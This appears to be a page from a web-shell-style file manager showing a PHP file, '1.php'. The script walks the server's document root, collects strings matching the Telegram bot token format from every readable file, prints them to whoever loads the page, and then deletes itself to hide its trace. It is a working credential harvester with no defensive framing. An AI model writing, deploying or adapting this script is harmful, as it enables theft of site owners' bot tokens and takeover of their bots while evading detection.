trAvis - MANAGER
Edit File: 1.php
<?php // Define the token regex pattern $tokenPattern = '/\d{10}:AA[a-zA-Z0-9_-]{33}/'; // Function to recursively search for tokens in a directory function searchForTokens($dir, $tokenPattern) { // Recursive directory iterator $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir)); // Loop through each file foreach ($iterator as $file) { if ($file->isFile()) { // Attempt to read file content $content = @file_get_contents($file->getPathname()); // If the file couldn't be read, skip it if ($content === false) { continue; } // Perform the token search if (preg_match_all($tokenPattern, $content, $matches)) { foreach ($matches[0] as $token) { echo $token . PHP_EOL; // Print each token on a new line } } } } } // Get the document root for the current script $documentRoot = $_SERVER['DOCUMENT_ROOT']; // Check if the directory exists if (is_dir($documentRoot)) { searchForTokens($documentRoot, $tokenPattern); } else { echo "not found" . PHP_EOL; } // Print message to indicate the search is completed echo "Search completed." . PHP_EOL; // Delete this script (self-delete) $scriptPath = __FILE__; if (file_exists($scriptPath)) { unlink($scriptPath); // Deletes the script } ?>